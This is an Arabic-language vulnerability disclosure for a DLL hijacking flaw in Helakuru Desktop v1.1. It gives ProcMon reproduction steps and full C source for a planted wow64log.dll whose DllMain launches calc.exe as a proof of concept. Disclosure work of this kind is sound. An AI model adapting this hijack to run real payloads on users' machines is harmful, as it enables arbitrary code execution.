HelakuruV.1.1-DLLHijack

ثغرة اختطاف DLL في هيلاكورو

ملخص

يعمل إصدار هيلاكورو ديسكتوب 1.1v على معماريات 64 بت و32 بت. أثناء الاختبار، تم تحديد أن البرنامج يحاول تحميل wow64log.dll، والتي لا يتم تضمينها افتراضيًا في أنظمة تشغيل ويندوز الحديثة. يؤدي هذا إلى خطأ 'Name not found'، مما يعرض البرنامج لثغرة اختطاف DLL. من خلال إنشاء wow64log.dll ضارة، يمكن تحقيق تنفيذ تعليمات برمجية عشوائي.

الإصدار المتأثر

هيلاكورو ديسكتوب 1.1v

خطوات إعادة الإنتاج

1. مراقبة تحميل DLL باستخدام ProcMon

• ProcMon يظهر عملية CreateFile مع "Name not found" لـ wow64log.dll

2. إنشاء wow64log.dll ضارة

#include <windows.h>
#include <stdio.h>

void LaunchCalculator()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    const char* calcCmd = "C:\\Windows\\System32\\calc.exe";

    if (!CreateProcessA(
        NULL,          
        (LPSTR)calcCmd, 
        NULL,          
        NULL,          
        FALSE,         
        0,             
        NULL,          
        NULL,          
        &si,           
        &pi))          
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
    }
    else
    {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        LaunchCalculator();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

3. تشغيل هيلاكورو ديسكتوب

• قم بتشغيل هيلاكورو ديسكتوب مرة أخرى. سيتم الآن تحميل wow64log.dll الضارة في البرنامج، مما يؤدي إلى تشغيل الآلة الحاسبة كتوضيح لحقن DLL ناجح.

4. التحقق من تحميل DLL باستخدام ProcMon

• أعد فتح ProcMon ولاحظ أنه تم تحميل wow64log.dll بنجاح هذه المرة، مما يؤكد أن DLL المخصصة قد تم تنفيذها بواسطة البرنامج.

التأثير: تسمح هذه الثغرة بتنفيذ تعليمات برمجية عشوائي.